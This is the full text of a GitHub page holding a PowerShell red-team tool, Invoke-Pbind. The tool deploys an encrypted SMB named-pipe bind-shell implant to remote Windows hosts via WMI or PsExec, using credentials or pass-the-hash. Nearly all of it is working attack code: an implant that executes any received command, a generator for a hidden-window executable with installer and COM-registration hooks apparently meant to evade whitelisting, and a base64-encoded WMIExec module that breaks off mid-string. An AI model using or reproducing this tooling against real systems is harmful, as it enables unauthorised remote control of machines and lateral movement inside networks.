Permalink
Switch branches/tags
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
906 lines (765 sloc) 1000 KB
<#
Required Dependencies: None
Optional Dependencies: None
#>
Function Invoke-Pbind {
<#
.SYNOPSIS
The Invoke-Pbind is an SMB bind shell that overlays SMB by communicating over a named pipe.
Incorperating input from @bturner Invoke-Pipekat tool and Invoke-WMIExec from @kevin_robertson
.DESCRIPTION
When in a locked down environment and needing to deploy a bind shell, Invoke-Pbind, will execute an implant on the target
endpoint (using WMI as default or PSEXEC) and then connect to the host over the created named pipe. This comms method does
not beacon and instead creates one connection to stream data. The client executes in a runspace with functions (pbind-command
and pbind-module) to interacte with the implant on the target workstation. If it is not possible to deploy over wmi or psexec,
then use the exe option to create a bind shell executable and deploy manually, before connecting with the client.
Interacting with the Implant
###################################################################################
# #
# 1. Load Modules: PS C:\> Pbind-module "c:\modules folder\powerview.ps1" #
# #
# 2. Send Commands to Implant: PS C:\> Pbind-Command "net user administrator" #
# #
# 3. Kill Implant: PS C:\> PBind-Kill #
# #
###################################################################################
.PARAMETER target
Specifies the computer name or ip address of the target system the implant should be deployed or the client should connect to.
.PARAMETER domain
Specifies the domain name used as part of the authentication against the target machine.
.PARAMETER user
Specifies the username used as part of the authentication against the target machine.
.PARAMETER password
Specifies the password used as part of the authentication against the target machine.
.PARAMETER key
Specifies the key used by AES to encrypt and decrypt traffic. Must be the correct size. Should only be manually configured when used in client mode.
.PARAMETER secret
Specifies a value that is exchanged between the client and the implant at first connection. If the wrong secret is exchanged the pipe is closed
.PARAMETER pname
Specifies a hard coded pipe name to be used. Most commonly used in client mode to define the pipe on the target.
.PARAMETER timeout
Allows a user configurable option to specify the timeout used by the client to connect to the implant before giving up. Default 60 seconds.
.PARAMETER dir
Specifies the output directory used when in EXE mode.
.PARAMETER automation
Specifies the directory used to store the 'System.Management.Automation.dll' for use in compiling the implant.
.PARAMETER psexec
Specifies the use of PSEXEC instead of WMI as a deployment mechanism.
.PARAMETER client
Switches mode to client only mode, disabling the deployment feature.
.PARAMETER exe
Switches to executable mode, used to create a stand alone implant to be manually deployed.
.EXAMPLE
Invoke-Pbind -Target 10.0.0.100 -Domain LAB -User Admin -Password Password1
.EXAMPLE
Invoke-Pbind -Target 10.0.0.100 -Domain LAB -User Admin -Password Password1 -PSexec
.EXAMPLE
Invoke-Pbind -Target 10.0.0.100 -Domain . -User Admin -Hash AAAAAAAAAAAAAAAAAAAAAAAAA -PSexec
.EXAMPLE
Invoke-Pbind -Target 10.0.0.100 -Domain . -User Admin -Hash AAAAAAAAAAAAAAAAAAAAAAAAA -user2 john -domain2 LAB - password2 Password1 -PSexec
.EXAMPLE
Invoke-Pbind -Target 10.0.0.100 -Domain . -User Admin -Password Password1 -timeout 10000
.EXAMPLE
Invoke-pbind -target 10.0.0.100 -dir "c:\pbind-out" -automation "C:\pbind-in" -exe
.EXAMPLE
Invoke-pbind -target 10.0.0.100 -secret do1gu -key jhPtfSwdNCWkks3qcDcj8OYtT/a3QY9VS/3HMX+54RQ= -pname ndv4ut7fyg -client
#>
Param (
[Parameter(Mandatory = $false)]
[string]$target,
[Parameter(Mandatory = $false)]
[string]$domain,
[Parameter(Mandatory = $false)]
[string]$user,
[Parameter(Mandatory = $false)]
[string]$password,
[Parameter(Mandatory = $false)]
[string]$domain2,
[Parameter(Mandatory = $false)]
[string]$user2,
[Parameter(Mandatory = $false)]
[string]$password2,
[Parameter(Mandatory = $false)]
[string]$hash,
[Parameter(Mandatory = $false)]
[string]$key,
[Parameter(Mandatory = $False)]
[string]$secret,
[Parameter(Mandatory = $False)]
[string]$pname,
[Parameter(Mandatory = $false)]
[int]$timeout=60000,
[Parameter(Mandatory = $False)]
[string]$dir,
[Parameter(Mandatory = $False)]
[string]$automation,
[Parameter(Mandatory = $false)]
[switch]$psexec,
[Parameter(Mandatory = $false)]
[switch]$client,
[Parameter(Mandatory = $false)]
[switch]$exe
)
$global:pipestate = [HashTable]::Synchronized(@{})
$pipestate.log = New-Object System.Collections.ArrayList
$pipestate.command = $null
$pipestate.state = $false
function Random-Pipe
{
param (
[int]$Length
)
$set = 'abcdefghijklmnopqrstuvwxyz0123456789'.ToCharArray()
$result = ''
for ($x = 0; $x -lt $Length; $x++)
{$result += $set | Get-Random}
return $result
}
# creates a randon AES managed object
function Create-AesManagedObject
{
param
([Object]
$key,
[Object]
$IV)
$aesManaged = New-Object -TypeName 'System.Security.Cryptography.RijndaelManaged'
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
if ($IV)
{
if ($IV.getType().Name -eq 'String')
{$aesManaged.IV = [System.Convert]::FromBase64String($IV)}
else
{$aesManaged.IV = $IV}
}
if ($key)
{
if ($key.getType().Name -eq 'String')
{$aesManaged.Key = [System.Convert]::FromBase64String($key)}
else
{$aesManaged.Key = $key}
}
$aesManaged
}
# creates a randon AES symetric encryption key
function Create-AesKey()
{
$aesManaged = Create-AesManagedObject
$aesManaged.GenerateKey()
[System.Convert]::ToBase64String($aesManaged.Key)
}
# encryption utility using Rijndael encryption, an AES equivelant, returns encrypted base64 block
function Encrypt-String
{
param
(
[Object]
$key,
[Object]
$unencryptedString
)
$bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)
$aesManaged = Create-AesManagedObject $key
$encryptor = $aesManaged.CreateEncryptor()
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
[byte[]] $fullData = $aesManaged.IV + $encryptedData
[System.Convert]::ToBase64String($fullData)
}
# decryption utility using Rijndael encryption, an AES equivelant, returns unencrypted UTF8 data
function Decrypt-String
{
param
(
[Object]
$key,
[Object]
$encryptedStringWithIV
)
$bytes = [System.Convert]::FromBase64String($encryptedStringWithIV)
$IV = $bytes[0..15]
$aesManaged = Create-AesManagedObject $key $IV
$decryptor = $aesManaged.CreateDecryptor()
$unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16)
[System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)
}
if (!$key){
$key = Create-AesKey
}
if (!$pname){
$pname = Random-Pipe 10
}
if (!$secret){
$secret = Random-Pipe 5
}
# creates a randon AES managed object
$s_scriptblock = @"
function Create-AesManagedObject
{
param
(
[Object]
`$key,
[Object]
`$IV
)
`$aesManaged = New-Object -TypeName 'System.Security.Cryptography.RijndaelManaged'
`$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
`$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
`$aesManaged.BlockSize = 128
`$aesManaged.KeySize = 256
if (`$IV)
{
if (`$IV.getType().Name -eq 'String')
{`$aesManaged.IV = [System.Convert]::FromBase64String(`$IV)}
else
{`$aesManaged.IV = `$IV}
}
if (`$key)
{
if (`$key.getType().Name -eq 'String')
{`$aesManaged.Key = [System.Convert]::FromBase64String(`$key)}
else
{`$aesManaged.Key = `$key}
}
`$aesManaged
}
function Encrypt-String
{
param
(
[Object]
`$key,
[Object]
`$unencryptedString
)
`$bytes = [System.Text.Encoding]::UTF8.GetBytes(`$unencryptedString)
`$aesManaged = Create-AesManagedObject `$key
`$encryptor = `$aesManaged.CreateEncryptor()
`$encryptedData = `$encryptor.TransformFinalBlock(`$bytes, 0, `$bytes.Length)
[byte[]] `$fullData = `$aesManaged.IV + `$encryptedData
[System.Convert]::ToBase64String(`$fullData)
}
function Decrypt-String
{
param
(
[Object]
`$key,
[Object]
`$encryptedStringWithIV
)
`$bytes = [System.Convert]::FromBase64String(`$encryptedStringWithIV)
`$IV = `$bytes[0..15]
`$aesManaged = Create-AesManagedObject `$key `$IV
`$decryptor = `$aesManaged.CreateDecryptor()
`$unencryptedData = `$decryptor.TransformFinalBlock(`$bytes, 16, `$bytes.Length - 16)
[System.Text.Encoding]::UTF8.GetString(`$unencryptedData).Trim([char]0)
}
function invoke-pserv {
param (`$secret, `$key, `$pname)
add-Type -assembly 'System.Core'
`$PipeSecurity = New-Object System.IO.Pipes.PipeSecurity
`$AccessRule = New-Object System.IO.Pipes.PipeAccessRule( 'Everyone', 'ReadWrite', 'Allow' )
`$PipeSecurity.AddAccessRule(`$AccessRule)
`$Pipe = New-Object System.IO.Pipes.NamedPipeServerStream(`$pname,'InOut',100, 'Byte', 'None', 4096, 4096, `$PipeSecurity)
try {
'Waiting for client connection'
`$pipe.WaitForConnection()
'Connection established'
`$pipeReader = new-object System.IO.StreamReader(`$pipe)
`$pipeWriter = new-object System.IO.StreamWriter(`$pipe)
`$pipeWriter.AutoFlush = `$true
`$PPass = `$pipeReader.ReadLine()
while (1)
{
if (`$PPass -ne `$secret) {
`$pipeWriter.WriteLine('Microsoft Error: 151337')
}
else {
while (1) {
`$encCommand = Encrypt-String -unencryptedString 'COMMAND' -Key `$key
`$pipeWriter.WriteLine(`$encCommand)
`$command = `$pipeReader.ReadLine()
`$decCommand = Decrypt-String -key `$key -encryptedStringWithIV `$command
if (`$deccommand) {
try {
if (`$decCommand -eq 'KILLPIPE'){exit}
`$res = Invoke-Expression `$decCommand | out-string
if (`$res -eq ""){`$res = "No output from command"}
`$res = `$res + '123456PS ' + (Get-Location).Path + '>654321'
} catch {
`$res = 'ErrorUpload: ' + `$error[0]
}
`$fileContentBytes = [System.Text.Encoding]::Unicode.GetBytes(`$res)
`$res = [System.Convert]::ToBase64String(`$fileContentBytes)
`$encCommand2 = Encrypt-String -unencryptedString `$res -Key `$key
`$pipeWriter.WriteLine(`$encCommand2)
`$pipeWriter.Flush()
}
elseif (!`$decCommand) {
`$encbad = Encrypt-String -unencryptedString 'This should never fire! - crypto failure' -Key `$key
`$pipeWriter.WriteLine(`$encbad)
break
}
}
}
`$encGo = Encrypt-String -unencryptedString 'GOAGAIN' -Key `$key
`$pipeWriter.WriteLine(`$encGo)
`$encSure = Encrypt-String -unencryptedString 'SURE' -Key `$key
`$pipeWriter.WriteLine(`$encSure)
`$command = `$pipeReader.ReadLine()
`$decCommand = Decrypt-String -key `$key -encryptedStringWithIV `$command
if (`$decCommand -eq 'EXIT') { break }
}
Start-Sleep -Seconds 2
}
finally {
`$pipe.Dispose()
}
}
invoke-pserv -secret $secret -key $key -pname $pname
"@
$c_scriptblock = @"
function Create-AesManagedObject
{
param
(
[Object]
`$key,
[Object]
`$IV
)
`$aesManaged = New-Object -TypeName 'System.Security.Cryptography.RijndaelManaged'
`$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
`$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
`$aesManaged.BlockSize = 128
`$aesManaged.KeySize = 256
if (`$IV)
{
if (`$IV.getType().Name -eq 'String')
{`$aesManaged.IV = [System.Convert]::FromBase64String(`$IV)}
else
{`$aesManaged.IV = `$IV}
}
if (`$key)
{
if (`$key.getType().Name -eq 'String')
{`$aesManaged.Key = [System.Convert]::FromBase64String(`$key)}
else
{`$aesManaged.Key = `$key}
}
`$aesManaged
}
function Encrypt-String
{
param
(
[Object]
`$key,
[Object]
`$unencryptedString
)
`$bytes = [System.Text.Encoding]::UTF8.GetBytes(`$unencryptedString)
`$aesManaged = Create-AesManagedObject `$key
`$encryptor = `$aesManaged.CreateEncryptor()
`$encryptedData = `$encryptor.TransformFinalBlock(`$bytes, 0, `$bytes.Length)
[byte[]] `$fullData = `$aesManaged.IV + `$encryptedData
[System.Convert]::ToBase64String(`$fullData)
}
function Decrypt-String
{
param
(
[Object]
`$key,
[Object]
`$encryptedStringWithIV
)
`$bytes = [System.Convert]::FromBase64String(`$encryptedStringWithIV)
`$IV = `$bytes[0..15]
`$aesManaged = Create-AesManagedObject `$key `$IV
`$decryptor = `$aesManaged.CreateDecryptor()
`$unencryptedData = `$decryptor.TransformFinalBlock(`$bytes, 16, `$bytes.Length - 16)
[System.Text.Encoding]::UTF8.GetString(`$unencryptedData).Trim([char]0)
}
function invoke-pclient {
param (`$Target, `$secret, `$key, `$pname, `$timeout)
Add-Type -assembly 'System.Core'
`$pipec = new-object System.IO.Pipes.NamedPipeClientStream(`$Target, `$pname, [System.IO.Pipes.PipeDirection]::InOut,
[System.IO.Pipes.PipeOptions]::None,
[System.Security.Principal.TokenImpersonationLevel]::Impersonation)
`$pipeReader = `$pipeWriter = `$null
try {
`$pipec.Connect(`$timeout)
'Connected to Pipe'
`$pipestate.state = `$true
`$pipeReader = new-object System.IO.StreamReader(`$pipec)
`$pipeWriter = new-object System.IO.StreamWriter(`$pipec)
`$pipeWriter.AutoFlush = `$true
`$pipeWriter.WriteLine(`$secret)
while (1) {
while ((`$msg = Decrypt-String -key `$key -encryptedStringWithIV `$pipeReader.ReadLine()) -notmatch 'COMMAND|GOAGAIN') {
`$pipestate.log += [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(`$msg))
}
if (`$msg -match 'GOAGAIN') { break }
while(`$pipestate.command -eq `$null){ }
if (`$pipestate.kill -eq 'KILLPIPE') {
`$encSure = Encrypt-String -unencryptedString 'SURE' -Key `$key
`$pipeWriter.WriteLine(`$encSure)
}
#`$blah = `$pipestate.mod | out-string
#if (((`$blah).ToLower()).StartsWith("loadmodule")) {
#if (`$blah -eq `$encSure) {
# `$module = `$blah -replace 'loadmodule ', ''
# `$pipestate.command = gc `$module | out-string
#}
if ((`$pipestate.command).ToLower().StartsWith('squirtmodule')) {
`$squirt = `$pipestate.command -replace 'squirtmodule ', ''
`$pipestate.command = `$squirt | Out-String
}
#`$pipestate.history = `$pipestate.command
`$baseCommand = `$pipestate.command
`$encCommand = Encrypt-String -unencryptedString `$baseCommand -Key `$key
`$pipeWriter.WriteLine(`$encCommand)
`$script:pipestate.command = `$null
}
}
finally {
`$pipec.Dispose()
}
}
invoke-pclient -Target $target -secret $secret -key $key -pname $pname -timeout $timeout
"@
if ($client.IsPresent){
$PIPE_runspace = [RunspaceFactory]::CreateRunspace()
$PIPE_runspace.Open()
$PIPE_runspace.SessionStateProxy.SetVariable('pipestate',$pipestate)
$PIPE_powershell = [PowerShell]::Create()
$PIPE_powershell.Runspace = $PIPE_runspace
$PIPE_powershell.AddScript($c_scriptblock) > $null
$PIPE_powershell.BeginInvoke() > $null
echo ""
$endtime = (Get-Date).AddMilliseconds($timeout)
while ((Get-Date) -lt $endtime){
if ($pipestate.state -eq $true)
{ break }
}
if ($pipestate.state -eq $True){
echo "Connected: $target - $pname"
echo ""
}
elseif ((get-date) -lt $endtime){
echo "Not Connected: Timeout occured"
}
else {
echo "Not Connected: :-("
}
}
elseif ($exe.isPresent){
if (!$dir){
$dir="C:\temp"
}
if (!$automation){
Write-host "You need to tell me where to get the automation dll to continue"
break
}
# create exe
$bytescom = [System.Text.Encoding]::Unicode.GetBytes($s_scriptblock)
$praw = [Convert]::ToBase64String($bytescom)
$csccode = 'using System;
using System.Text;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.EnterpriseServices;
public class Program
{
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
public const int SW_HIDE = 0;
public const int SW_SHOW = 5;
public Program() {
try
{
string pb = System.Text.Encoding.Unicode.GetString(System.Convert.FromBase64String("'+$praw+'"));
InvokeAutomation(pb);
}
catch
{
Main();
}
}
public static string InvokeAutomation(string cmd)
{
Runspace newrunspace = RunspaceFactory.CreateRunspace();
newrunspace.Open();
RunspaceInvoke scriptInvoker = new RunspaceInvoke(newrunspace);
Pipeline pipeline = newrunspace.CreatePipeline();
pipeline.Commands.AddScript(cmd);
Collection<PSObject> results = pipeline.Invoke();
newrunspace.Close();
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject obj in results)
{
stringBuilder.Append(obj);
}
return stringBuilder.ToString().Trim();
}
public static void Main()
{
var handle = GetConsoleWindow();
ShowWindow(handle, SW_HIDE);
try
{
string pb = System.Text.Encoding.Unicode.GetString(System.Convert.FromBase64String("'+$praw+'"));
InvokeAutomation(pb);
}
catch
{
Main();
}
}
}
public class Bypass : ServicedComponent
{
[ComRegisterFunction]
public static void RegisterClass ( string key )
{
Program.Main();
}
[ComUnregisterFunction]
public static void UnRegisterClass ( string key )
{
Program.Main();
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
Program.Main();
}
public static string InvokeAutomation(string cmd)
{
Runspace newrunspace = RunspaceFactory.CreateRunspace();
newrunspace.Open();
RunspaceInvoke scriptInvoker = new RunspaceInvoke(newrunspace);
Pipeline pipeline = newrunspace.CreatePipeline();
pipeline.Commands.AddScript(cmd);
Collection<PSObject> results = pipeline.Invoke();
newrunspace.Close();
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject obj in results)
{
stringBuilder.Append(obj);
}
return stringBuilder.ToString().Trim();
}
}'
[IO.File]::WriteAllLines("$dir\pbind.cs", $csccode)
if (Test-Path "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe") {
Start-Process -WindowStyle hidden -FilePath "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" -ArgumentList "/out:$dir\notes.exe $dir\pbind.cs /reference:$automation\System.Management.Automation.dll"
} else {
if (Test-Path "C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe") {
Start-Process -WindowStyle hidden -FilePath "C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe" -ArgumentList "/out:$dir\notes.exe $dir\pbind.cs /reference:$automation\System.Management.Automation.dll"
}
}
echo ""
Write-Host -Object "StandAlone Exe written to: $dir\pbind.exe" -ForegroundColor Green
echo ""
if (!$target){
write-Host -Object "Connection String: invoke-pbind -target <IP Address> -secret $secret -key $key -pname $pname -client" -ForegroundColor Green
} else {
write-Host -Object "Connection String: invoke-pbind -target $target -secret $secret -key $key -pname $pname -client" -ForegroundColor Green
}
}
Else {
# Author: @kevin_robertson
$wmiexec = "ZnVuY3Rpb24gSW52b2tlLVdNSUV4ZWMNCnsNCjwjDQouU1lOT1BTSVMNCkludm9rZS1XTUlFeGVjIHBlcmZvcm1zIFdNSSBjb21tYW5kIGV4ZWN1dGlvbiBvbiB0YXJnZXRzIHVzaW5nIE5UTE12MiBwYXNzIHRoZSBoYXNoIGF1dGhlbnRpY2F0aW9uLg0KDQouUEFSQU1FVEVSIFRhcmdldA0KSG9zdG5hbWUgb3IgSVAgYWRkcmVzcyBvZiB0YXJnZXQuDQoNCi5QQVJBTUVURVIgVXNlcm5hbWUNClVzZXJuYW1lIHRvIHVzZSBmb3IgYXV0aGVudGljYXRpb24uDQoNCi5QQVJBTUVURVIgRG9tYWluDQpEb21haW4gdG8gdXNlIGZvciBhdXRoZW50aWNhdGlvbi4gVGhpcyBwYXJhbWV0ZXIgaXMgbm90IG5lZWRlZCB3aXRoIGxvY2FsIGFjY291bnRzIG9yIHdoZW4gdXNpbmcgQGRvbWFpbiBhZnRlcg0KdGhlIHVzZXJuYW1lLiANCg0KLlBBUkFNRVRFUiBIYXNoDQpOVExNIHBhc3N3b3JkIGhhc2ggZm9yIGF1dGhlbnRpY2F0aW9uLiBUaGlzIG1vZHVsZSB3aWxsIGFjY2VwdCBlaXRoZXIgTE06TlRMTSBvciBOVExNIGZvcm1hdC4NCg0KLlBBUkFNRVRFUiBDb21tYW5kDQpDb21tYW5kIHRvIGV4ZWN1dGUgb24gdGhlIHRhcmdldC4gSWYgYSBjb21tYW5kIGlzIG5vdCBzcGVjaWZpZWQsIHRoZSBmdW5jdGlvbiB3aWxsIGp1c3QgY2hlY2sgdG8gc2VlIGlmIHRoZQ0KdXNlcm5hbWUgYW5kIGhhc2ggaGFzIGFjY2VzcyB0byBXTUkgb24gdGhlIHRhcmdldC4NCg0KLlBBUkFNRVRFUiBTbGVlcA0KRGVmYXVsdCA9IDEwIE1pbGxpc2Vjb25kczogU2V0cyB0aGUgZnVuY3Rpb24ncyBTdGFydC1TbGVlcCB2YWx1ZXMgaW4gbWlsbGlzZWNvbmRzLiBZb3UgY2FuIHRyeSB0d2Vha2luZyB0aGlzDQpzZXR0aW5nIGlmIHlvdSBhcmUgZXhwZXJpZW5jaW5nIHN0cmFuZ2UgcmVzdWx0cy4NCg0KLkVYQU1QTEUNCkludm9rZS1XTUlFeGVjIC1UYXJnZXQgMTkyLjE2OC4xMDAuMjAgLURvbWFpbiBURVNURE9NQUlOIC1Vc2VybmFtZSBURVNUIC1IYXNoIEY2RjM4Qjc5M0RCNkE5NEJBMDRBNTJGMUQzRUU5MkYwIC1Db21tYW5kICJjb21tYW5kIG9yIGxhdW5jaGVyIHRvIGV4ZWN1dGUiIC12ZXJib3NlDQoNCi5FWEFNUExFDQpJbnZva2UtV01JRXhlYyAtVGFyZ2V0IDE5Mi4xNjguMTAwLjIwIC1Vc2VybmFtZSBhZG1pbmlzdHJhdG9yIC1IYXNoIEY2RjM4Qjc5M0RCNkE5NEJBMDRBNTJGMUQzRUU5MkYwIC1Db21tYW5kICJjbWQuZXhlIC9jIG5ldCB1c2VyIFdNSUV4ZWMgV2ludGVyMjAxNyAvYWRkIg0KDQouRVhBTVBMRQ0KSW52b2tlLVdNSUV4ZWMgLVRhcmdldCAxOTIuMTY4LjEwMC4yMCAtVXNlcm5hbWUgYWRtaW5pc3RyYXRvciAtUGFzc3dvcmQgVGVzdA0KDQouTElOSw0KaHR0cHM6Ly9naXRodWIuY29tL0tldmluLVJvYmVydHNvbi9JbnZva2UtVGhlSGFzaA0KDQojPg0KW0NtZGxldEJpbmRpbmcoKV0NCnBhcmFtDQooDQogICAgW3BhcmFtZXRlcihNYW5kYXRvcnk9JHRydWUpXVtTdHJpbmddJFRhcmdldCwNCiAgICBbcGFyYW1ldGVyKE1hbmRhdG9yeT0kdHJ1ZSldW1N0cmluZ10kVXNlcm5hbWUsDQogICAgW3BhcmFtZXRlcihNYW5kYXRvcnk9JGZhbHNlKV1bU3RyaW5nXSREb21haW4sDQogICAgW3BhcmFtZXRlcihNYW5kYXRvcnk9JGZhbHNlKV1bU3RyaW5nXSRDb21tYW5kLA0KICAgIFtwYXJhbWV0ZXIoTWFuZGF0b3J5PSRmYWxzZSldW1N0cmluZ10kUGFzc3dvcmQsDQogICAgW3BhcmFtZXRlcihNYW5kYXRvcnk9JGZhbHNlKV1bVmFsaWRhdGVTY3JpcHQoeyRfLkxlbmd0aCAtZXEgMzIgLW9yICRfLkxlbmd0aCAtZXEgNjV9KV1bU3RyaW5nXSRIYXNoLA0KICAgIFtwYXJhbWV0ZXIoTWFuZGF0b3J5PSRmYWxzZSldW0ludF0kU2xlZXA9MTANCikNCg0KaWYoJENvbW1hbmQpDQp7DQogICAgJFdNSV9leGVjdXRlID0gJHRydWUNCn0NCg0KaWYoISRQYXNzd29yZCAtYW5kICEkSGFzaCl7DQogICAgZXhpdA0KfQ0KDQppZigkUGFzc3dvcmQpew0KICAgICRIYXNoID0gR2V0LU1ENEhhc2ggLURhdGFUb0hhc2ggJChbVGV4dC5FbmNvZGluZ106OlVuaWNvZGUuR2V0Qnl0ZXMoJFBhc3N3b3JkKSkNCiAgICBXcml0ZS1PdXRwdXQgIkhhc2ggYmVpbmcgdXNlZDogJEhhc2giDQp9DQoNCmZ1bmN0aW9uIENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5DQp7DQogICAgcGFyYW0oJHBhY2tldF9vcmRlcmVkX2RpY3Rpb25hcnkpDQoNCiAgICBGb3JFYWNoKCRmaWVsZCBpbiAkcGFja2V0X29yZGVyZWRfZGljdGlvbmFyeS5WYWx1ZXMpDQogICAgew0KICAgICAgICAkYnl0ZV9hcnJheSArPSAkZmllbGQNCiAgICB9DQoNCiAgICByZXR1cm4gJGJ5dGVfYXJyYXkNCn0NCg0KI1JQQw0KDQpmdW5jdGlvbiBHZXQtUGFja2V0UlBDQmluZCgpDQp7DQogICAgcGFyYW0oW0ludF0kcGFja2V0X2NhbGxfSUQsW0J5dGVbXV0kcGFja2V0X21heF9mcmFnLFtCeXRlW11dJHBhY2tldF9udW1fY3R4X2l0ZW1zLFtCeXRlW11dJHBhY2tldF9jb250ZXh0X0lELFtCeXRlW11dJHBhY2tldF9VVUlELFtCeXRlW11dJHBhY2tldF9VVUlEX3ZlcnNpb24pDQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfY2FsbF9JRF9ieXRlcyA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF9jYWxsX0lEKQ0KDQogICAgJHBhY2tldF9SUENCaW5kID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1ZlcnNpb24iLFtCeXRlW11dKDB4MDUpKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVmVyc2lvbk1pbm9yIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1BhY2tldFR5cGUiLFtCeXRlW11dKDB4MGIpKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfUGFja2V0RmxhZ3MiLFtCeXRlW11dKDB4MDMpKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfRGF0YVJlcHJlc2VudGF0aW9uIixbQnl0ZVtdXSgweDEwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0ZyYWdMZW5ndGgiLFtCeXRlW11dKDB4NDgsMHgwMCkpDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9BdXRoTGVuZ3RoIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQ2FsbElEIiwkcGFja2V0X2NhbGxfSURfYnl0ZXMpDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9NYXhYbWl0RnJhZyIsW0J5dGVbXV0oMHhiOCwweDEwKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX01heFJlY3ZGcmFnIixbQnl0ZVtdXSgweGI4LDB4MTApKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQXNzb2NHcm91cCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9OdW1DdHhJdGVtcyIsJHBhY2tldF9udW1fY3R4X2l0ZW1zKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVW5rbm93biIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQ29udGV4dElEIiwkcGFja2V0X2NvbnRleHRfSUQpDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9OdW1UcmFuc0l0ZW1zIixbQnl0ZVtdXSgweDAxKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1Vua25vd24yIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0ludGVyZmFjZSIsJHBhY2tldF9VVUlEKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSW50ZXJmYWNlVmVyIiwkcGFja2V0X1VVSURfdmVyc2lvbikNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0ludGVyZmFjZVZlck1pbm9yIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVHJhbnNmZXJTeW50YXgiLFtCeXRlW11dKDB4MDQsMHg1ZCwweDg4LDB4OGEsMHhlYiwweDFjLDB4YzksMHgxMSwweDlmLDB4ZTgsMHgwOCwweDAwLDB4MmIsMHgxMCwweDQ4LDB4NjApKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVHJhbnNmZXJTeW50YXhWZXIiLFtCeXRlW11dKDB4MDIsMHgwMCwweDAwLDB4MDApKQ0KDQogICAgaWYoJHBhY2tldF9udW1fY3R4X2l0ZW1zWzBdIC1lcSAyKQ0KICAgIHsNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9Db250ZXh0SUQyIixbQnl0ZVtdXSgweDAxLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX051bVRyYW5zSXRlbXMyIixbQnl0ZVtdXSgweDAxKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9Vbmtub3duMyIsW0J5dGVbXV0oMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSW50ZXJmYWNlMiIsW0J5dGVbXV0oMHhjNCwweGZlLDB4ZmMsMHg5OSwweDYwLDB4NTIsMHgxYiwweDEwLDB4YmIsMHhjYiwweDAwLDB4YWEsMHgwMCwweDIxLDB4MzQsMHg3YSkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoI